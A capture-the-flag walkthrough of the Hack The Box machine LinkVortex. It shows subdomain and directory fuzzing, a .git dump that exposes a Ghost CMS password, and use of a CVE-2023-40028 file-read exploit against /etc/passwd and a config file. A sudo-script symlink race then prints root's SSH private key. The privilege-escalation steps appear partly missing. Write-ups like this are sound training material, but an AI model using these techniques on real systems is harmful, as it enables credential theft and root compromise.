LinkVortex
Synopsis
LinkVortex is a linux easy machine created by 0xyassine. The Ghost CMS is used in linkvortex.htb domain. The dev subdomain is found during fuzzing and .git directory is present. The content of .git directory is dumped and password for Ghost CMS login is retrieved. The version of Ghost CMS used is 5.58.0 which is vulnerable to CVE-2023-40028 arbitrary file read vulnerability, with which the foothold is gained. The user has a privilege to run clean_symbolic.sh script file as sudo which creates the TOCTOU vulnerability and exploiting it gives us the id_rsa of root.
OS
Difficulty
Points
Release Date
Retired Date
Linux
Easy
20
07-12-2024
12-04-2025
Enumeration
Nmap
Starting the nmap scan and found ssh and http services running.
nmap -Pn -sC -sV --min-rate=1000 10.10.11.47
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-20 21:03 EDT
Nmap scan report for 10.10.11.47
Host is up (8.0s latency).
Not shown: 749 filtered tcp ports (no-response), 249 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open tcpwrapped
|_ssh-hostkey: ERROR: Script execution failed (use -d to debug)
80/tcp open tcpwrapped
|_http-server-header: Apache
|_http-title: Did not follow redirect to http://linkvortex.htb/
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 62.18 secondsAdd linkvortex.htb in /etc/hosts file.
Web - linkvortex.htb
The linkvortex is the blogging site where computer parts information is given in details.
The footer reveals that the site is using Ghost CMS and going to ghost directory gives us the ghost login page.
Fuzzing
Subdomain fuzzing found the dev.linkvortex.htb subdomain.
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://linkvortex.htb -H "Host: FUZZ.linkvortex.htb" -fs 230
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://linkvortex.htb
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.linkvortex.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 230
________________________________________________
dev [Status: 200, Size: 2538, Words: 670, Lines: 116, Duration: 1202ms]
:: Progress: [4989/4989] :: Job [1/1] :: 63 req/sec :: Duration: [0:02:04] :: Errors: 40 ::Add dev.linkvortex.htb in /etc/hosts file.
Web - dev.linkvortex.htb
The dev subdomain gives us launching soon and under construction message.
Fuzzing
Directory fuzzing found the .git directory.
dirsearch -u http://dev.linkvortex.htb
21:24:34 [12/201]
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Output File: /home/dexter/HTB/Machines/LinkVortex/reports/http_dev.linkvortex.htb/_25-04-20_21-23-50.txt
Target: http://dev.linkvortex.htb/
[21:23:50] Starting:
[21:24:16] 301 - 239B - /.git -> http://dev.linkvortex.htb/.git/
[21:24:16] 200 - 557B - /.git/
[21:24:16] 200 - 201B - /.git/config
[21:24:16] 200 - 73B - /.git/description
[21:24:16] 200 - 41B - /.git/HEAD
[21:24:16] 200 - 620B - /.git/hooks/
[21:24:16] 200 - 402B - /.git/info/
[21:24:17] 200 - 240B - /.git/info/exclude
[21:24:17] 200 - 175B - /.git/logs/HEAD
[21:24:17] 200 - 401B - /.git/logs/
[21:24:17] 200 - 393B - /.git/refs/
[21:24:17] 200 - 418B - /.git/objects/
[21:24:17] 200 - 147B - /.git/packed-refs
[21:24:18] 301 - 249B - /.git/refs/tags -> http://dev.linkvortex.htb/.git/refs/tags/
[21:24:27] 403 - 199B - /.ht_wsr.txt
[21:24:27] 403 - 199B - /.htaccess.bak1
[21:24:30] 403 - 199B - /.htaccess.orig
[21:24:30] 403 - 199B - /.htaccess.sample
[21:24:32] 403 - 199B - /.htaccess.save
[21:24:32] 403 - 199B - /.htaccess_extra
[21:24:32] 403 - 199B - /.htaccess_sc
[21:24:32] 403 - 199B - /.htaccess_orig
[21:24:32] 403 - 199B - /.htaccessBAK
[21:24:32] 403 - 199B - /.htaccessOLD
[21:24:32] 403 - 199B - /.htaccessOLD2
[21:24:32] 403 - 199B - /.htm
[21:24:32] 403 - 199B - /.html
[21:24:34] 403 - 199B - /.htpasswd_test
[21:24:35] 403 - 199B - /.htpasswds
[21:24:35] 403 - 199B - /.httr-oauth
[21:24:42] 200 - 691KB - /.git/index
[21:27:53] 403 - 199B - /cgi-bin/
[21:31:05] 403 - 199B - /server-status
[21:31:05] 403 - 199B - /server-status/
Task CompletedDumping the content of .git using git-dumper.
git-dumper http://dev.linkvortex.htb/ linkvortex-git -t 120
[-] Testing http://dev.linkvortex.htb/.git/HEAD [200]
[-] Testing http://dev.linkvortex.htb/.git/ [200]
[-] Fetching .git recursively
[-] Fetching http://dev.linkvortex.htb/.git/ [200]
[-] Fetching http://dev.linkvortex.htb/.gitignore [404]
[-] http://dev.linkvortex.htb/.gitignore responded with status code 404
[-] Fetching http://dev.linkvortex.htb/.git/packed-refs [200]
[-] Fetching http://dev.linkvortex.htb/.git/config [200]
[-] Fetching http://dev.linkvortex.htb/.git/description [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/ [200]
[-] Fetching http://dev.linkvortex.htb/.git/HEAD [200]
[-] Fetching http://dev.linkvortex.htb/.git/logs/ [200]
[-] Fetching http://dev.linkvortex.htb/.git/info/ [200]
[-] Fetching http://dev.linkvortex.htb/.git/shallow [200]
[-] Fetching http://dev.linkvortex.htb/.git/objects/ [200]
[-] Fetching http://dev.linkvortex.htb/.git/index [200]
[-] Fetching http://dev.linkvortex.htb/.git/refs/ [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/fsmonitor-watchman.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/commit-msg.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/applypatch-msg.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/post-update.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/pre-applypatch.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/pre-commit.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/pre-merge-commit.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/pre-push.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/pre-receive.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/pre-rebase.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/prepare-commit-msg.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/push-to-checkout.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/update.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/logs/HEAD [200]
[-] Fetching http://dev.linkvortex.htb/.git/info/exclude [200]
[-] Fetching http://dev.linkvortex.htb/.git/objects/50/ [200]
[-] Fetching http://dev.linkvortex.htb/.git/objects/e6/ [200]
[-] Fetching http://dev.linkvortex.htb/.git/objects/pack/ [200]
[-] Fetching http://dev.linkvortex.htb/.git/refs/tags/ [200]
[-] Fetching http://dev.linkvortex.htb/.git/objects/50/864e0261278525197724b394ed4292414d9fec [200]
[-] Fetching http://dev.linkvortex.htb/.git/objects/pack/pack-0b802d170fe45db10157bb8e02bfc9397d5e9d87.idx [200]
[-] Fetching http://dev.linkvortex.htb/.git/objects/e6/54b0ed7f9c9aedf3180ee1fd94e7e43b29f000 [200]
[-] Fetching http://dev.linkvortex.htb/.git/objects/pack/pack-0b802d170fe45db10157bb8e02bfc9397d5e9d87.pack [200]
[-] Fetching http://dev.linkvortex.htb/.git/refs/tags/v5.57.3 [200]
[-] Sanitizing .git/config
[-] Running git checkout .
Updated 5596 paths from the index Git
git status
Not currently on any branch.
Changes to be committed:
(use "git restore --staged <file>..." to unstage)
new file: Dockerfile.ghost
modified: ghost/core/test/regression/api/admin/authentication.test.js
The ghost/core/test/regression/api/admin/authentication.test.js has been changed and not committed yet.
git restore --staged . && git diff
diff --git a/ghost/core/test/regression/api/admin/authentication.test.js b/ghost/core/test/regression/api/admin/authentication.test.js
index 2735588..e654b0e 100644
--- a/ghost/core/test/regression/api/admin/authentication.test.js
+++ b/ghost/core/test/regression/api/admin/authentication.test.js
@@ -53,7 +53,7 @@ describe('Authentication API', function () {
it('complete setup', async function () {
const email = 'test@example.com';
- const password = 'thisissupersafe';
+ const password = 'OctopiFociPilfer45';
const requestMock = nock('https://api.github.com')
.get('/repos/tryghost/dawn/zipball')Only the password has been changed. The admin@linkvortex.htb email and the above password gives us access to the ghost dashboard.
Foothold
Shell - bob [ CVE-2023 -40028 exploit ]
Going to settings and clicking on About Ghost button shows the details and versions of ghost.
Ghost version < 5.59.1 is vulnerable to CVE-2023-40028 arbitrary file read vulnerability. The PoC with bash script is created in this github repository.
CVE-2023-40028
Affected versions of this package are vulnerable to Arbitrary File Read which allows authenticated users to upload files that are symlinks. This can be exploited to perform an arbitrary file read of any file on the host operating system. More details can be found here.
Exploit
1
Git clone the repository
git clone https://github.com/0xyassine/CVE-2023-40028.git
Cloning into 'CVE-2023-40028'...
remote: Enumerating objects: 7, done.
remote: Counting objects: 100% (7/7), done.
remote: Compressing objects: 100% (7/7), done.
remote: Total 7 (delta 1), reused 4 (delta 0), pack-reused 0 (from 0)
Receiving objects: 100% (7/7), done.
Resolving deltas: 100% (1/1), done.2
Executing script
Change the GHOST_URL variable to http://linkvortex.htb and execute the script.
./CVE-2023-40028.sh -u 'admin@linkvortex.htb' -p 'OctopiFociPilfer45'
WELCOME TO THE CVE-2023-40028 SHELL
file>file> /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
node:x:1000:1000::/home/node:/bin/bash
file> 3
Getting bob credentials
Fetching the ghost config file and found the password for bob.
file> /var/lib/ghost/config.production.json
{
"url": "http://localhost:2368",
"server": {
"port": 2368,
"host": "::"
},
"mail": {
"transport": "Direct"
},
"logging": {
"transports": ["stdout"]
},
"process": "systemd",
"paths": {
"contentPath": "/var/lib/ghost/content"
},
"spam": {
"user_login": {
"minWait": 1,
"maxWait": 604800000,
"freeRetries": 5000
}
},
"mail": {
"transport": "SMTP",
"options": {
"service": "Google",
"host": "linkvortex.htb",
"port": 587,
"auth": {
"user": "b",
"pass": ""
}
}
}
}
file> 4
SSH login
ssh bob@10.10.11.47
The authenticity of host '10.10.11.47 (10.10.11.47)' can't be established.
ED25519 key fingerprint is SHA256:vrkQDvTUj3pAJVT+1luldO6EvxgySHoV6DPCcat0WkI.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.47' (ED25519) to the list of known hosts.
bob@10.10.11.47's password:
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.5.0-27-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Mon Apr 21 08:29:20 2025 from 10.10.14.46
bob@linkvortex:~$ Privilege Escalation
Pillaging - bob [ user ]
The sudo -l command reveals that the user bob has a sudo privilege to run the /usr/bin/bash /opt/ghost/clean_symlink.sh *.png command.
bob@linkvortex:~$ sudo -l
Matching Defaults entries for bob on linkvortex:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty, env_keep+=CHECK_CONTENT
User bob may run the following commands on linkvortex:
(ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.png
bob@linkvortex:~$ We don't have write permission over clean_symlink.sh file.
bob@linkvortex:~$ ls -la /opt/ghost/clean_symlink.sh
-rwxr--r-- 1 root root 745 Nov 1 08:46 /opt/ghost/clean_symlink.sh
bob@linkvortex:~$ File - clean_symlink.sh
#!/bin/bash
QUAR_DIR="/var/quarantined"
if [ -z $CHECK_CONTENT ];then
CHECK_CONTENT=false
fi
LINK=$1
if ! [[ "$LINK" =~ \.png$ ]]; then
/usr/bin/echo "! First argument must be a png file !"
exit 2
fi
if /usr/bin/sudo /usr/bin/test -L $LINK;then
LINK_NAME=$(/usr/bin/basename $LINK)
LINK_TARGET=$(/usr/bin/readlink $LINK)
if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then
/usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"
/usr/bin/unlink $LINK
else
/usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"
/usr/bin/mv $LINK $QUAR_DIR/
if $CHECK_CONTENT;then
/usr/bin/echo "Content:"
/usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null
fi
fi
fiThe script takes the .png file as a argument and checks whether it is symbolic link or not.
It also inspects the link target whether it points to /etc or /root directories.
If it points to those directories it unlink the file otherwise it moves to a quarantine folder /var/quarantined and if the $CHECK_CONTENT variable is set to TRUE, it prints the contents of the linked file.
Shell - root [ TOCTOU ]
Methodology
The time-of-check-time-of-use vulnerability occurs after the symbolic link is created. We can quickly swap the link target to other sensitive files and directories like /etc and /root. If the $CHECK_CONTENT variable is set to TRUE, we can also print the content of the files.
Exploit
1
2
Getting id_rsa
Creating another symbolic link in another folder with the same png file name and executing the clean_symlink.sh moves the file into quarantined folder and SSH private key is printed.
bob@linkvortex:~$ export CHECK_CONTENT=true
bob@linkvortex:~$ ln -s /exp /tmp/exp.png
bob@linkvortex:~$ sudo /usr/bin/bash /opt/ghost/clean_symlink.sh /tmp/exp.png
Link found [ /tmp/exp.png ] , moving it to quarantine
Content:
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAmpHVhV11MW7eGt9WeJ23rVuqlWnMpF+FclWYwp4SACcAilZdOF8T
q2egYfeMmgI9IoM0DdyDKS4vG+lIoWoJEfZf+cVwaZIzTZwKm7ECbF2Oy+u2SD+X7lG9A6
V1xkmWhQWEvCiI22UjIoFkI0oOfDrm6ZQTyZF99AqBVcwGCjEA67eEKt/5oejN5YgL7Ipu
6sKpMThUctYpWnzAc4yBN/mavhY7v5+TEV0FzPYZJ2spoeB3OGBcVNzSL41ctOiqGVZ7yX
TQ6pQUZxR4zqueIZ7yHVsw5j0eeqlF8OvHT81wbS5ozJBgtjxySWrRkkKAcY11tkTln6NK
CssRzP1r9kbmgHswClErHLL/CaBb/04g65A0xESAt5H1wuSXgmipZT8Mq54lZ4ZNMgPi53
jzZbaHGHACGxLgrBK5u4mF3vLfSG206ilAgU1sUETdkVz8wYuQb2S4Ct0AT14obmje7oqS
0cBqVEY8/m6olYaf/U8dwE/w9beosH6T7arEUwnhAAAFiDyG/Tk8hv05AAAAB3NzaC1yc2
EAAAGBAJqR1YVddTFu3hrfVnidt61bqpVpzKRfhXJVmMKeEgAnAIpWXThfE6tnoGH3jJoC
PSKDNA3cgykuLxvpSKFqCRH2X/nFcGmSM02cCpuxAmxdjsvrtkg/l+5RvQOldcZJloUFhL
woiNtlIyKBZCNKDnw65umUE8mRffQKgVXMBgoxAOu3hCrf+aHozeWIC+yKburCqTE4VHLW
KVp8wHOMgTf5mr4WO7+fkxFdBcz2GSdrKaHgdzhgXFTc0i+NXLToqhlWe8l00OqUFGcUeM
6rniGe8h1bMOY9HnqpRfDrx0/NcG0uaMyQYLY8cklq0ZJCgHGNdbZE5Z+jSgrLEcz9a/ZG
5oB7MApRKxyy/wmgW/9OIOuQNMREgLeR9cLkl4JoqWU/DKueJWeGTTID4ud482W2hxhwAh
sS4KwSubuJhd7y30httOopQIFNbFBE3ZFc/MGLkG9kuArdAE9eKG5o3u6KktHAalRGPP5u
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ZLEtfav856PkXKcBIySdU6DrVskbTr4qJKI29qfSTF5lA82SigUnaP+fd7D3g5aGaLn69b
qcjKAXgo+Vh1/dkDHqPkY4An8kgHtJRLkP7wZ5CjuFscPCYyJCnD92cRE9iA9jJWW5+/Wc
f36cvFHyWTNqmjsim4BGCeti9sUEY0Vh9M+wrWHvRhe7nlN5OYXysvJVRK4if0kwH1c6AB
VRdoXs4Iz6xMzJwqSWze+NchBlkUigBZdfcQMkIOxzj4N+mWEHru5GKYRDwL/sSxQy0tJ4
MXXgHw/58xyOE82E8n/SctmyVnHOdxAWldJeycATNJLnd0h3LnNM24vR4GvQVQ4b8EAJjj
rF3BlPov1MoK2/X3qdlwiKxFKYB4tFtugqcuXz54bkKLtLAMf9CszzVBxQqDvqLU9NAAAA
wG5DcRVnEPzKTCXAA6lNcQbIqBNyGlT0Wx0eaZ/i6oariiIm3630t2+dzohFCwh2eXS8nZ
VACuS94oITmJfcOnzXnWXiO+cuokbyb2Wmp1VcYKaBJd6S7pM1YhvQGo1JVKWe7d4g88MF
Mbf5tJRjIBdWS19frqYZDhoYUljq5ZhRaF5F/sa6cDmmMDwPMMxN7cfhRLbJ3xEIL7Kxm+
TWYfUfzJ/WhkOGkXa3q46Fhn7Z1q/qMlC7nBlJM9Iz24HAxAAAAMEAw8yotRf9ZT7intLC
+20m3kb27t8TQT5a/B7UW7UlcT61HdmGO7nKGJuydhobj7gbOvBJ6u6PlJyjxRt/bT601G
QMYCJ4zSjvxSyFaG1a0KolKuxa/9+OKNSvulSyIY/N5//uxZcOrI5hV20IiH580MqL+oU6
lM0jKFMrPoCN830kW4XimLNuRP2nar+BXKuTq9MlfwnmSe/grD9V3Qmg3qh7rieWj9uIad
1G+1d3wPKKT0ztZTPauIZyWzWpOwKVAAAAwQDKF/xbVD+t+vVEUOQiAphz6g1dnArKqf5M
SPhA2PhxB3iAqyHedSHQxp6MAlO8hbLpRHbUFyu+9qlPVrj36DmLHr2H9yHa7PZ34yRfoy
+UylRlepPz7Rw+vhGeQKuQJfkFwR/yaS7Cgy2UyM025EEtEeU3z5irLA2xlocPFijw4gUc
xmo6eXMvU90HVbakUoRspYWISr51uVEvIDuNcZUJlseINXimZkrkD40QTMrYJc9slj9wkA
ICLgLxRR4sAx0AAAAPcm9vdEBsaW5rdm9ydGV4AQIDBA==
-----END OPENSSH PRIVATE KEY-----
bob@linkvortex:~$ 3
Getting shell
Copy the private key and save into the file. Change the permission and ssh as a root.
chmod 600 id_rsassh -i id_rsa root@10.10.11.47
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.5.0-27-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Mon Dec 2 11:20:43 2024 from 10.10.14.61
root@linkvortex:~# If libcrypto error occurs remove the unwanted space from the id_rsa file.
Proof of Concept
The below video provides the PoC of LinkVortex machine.
Last updated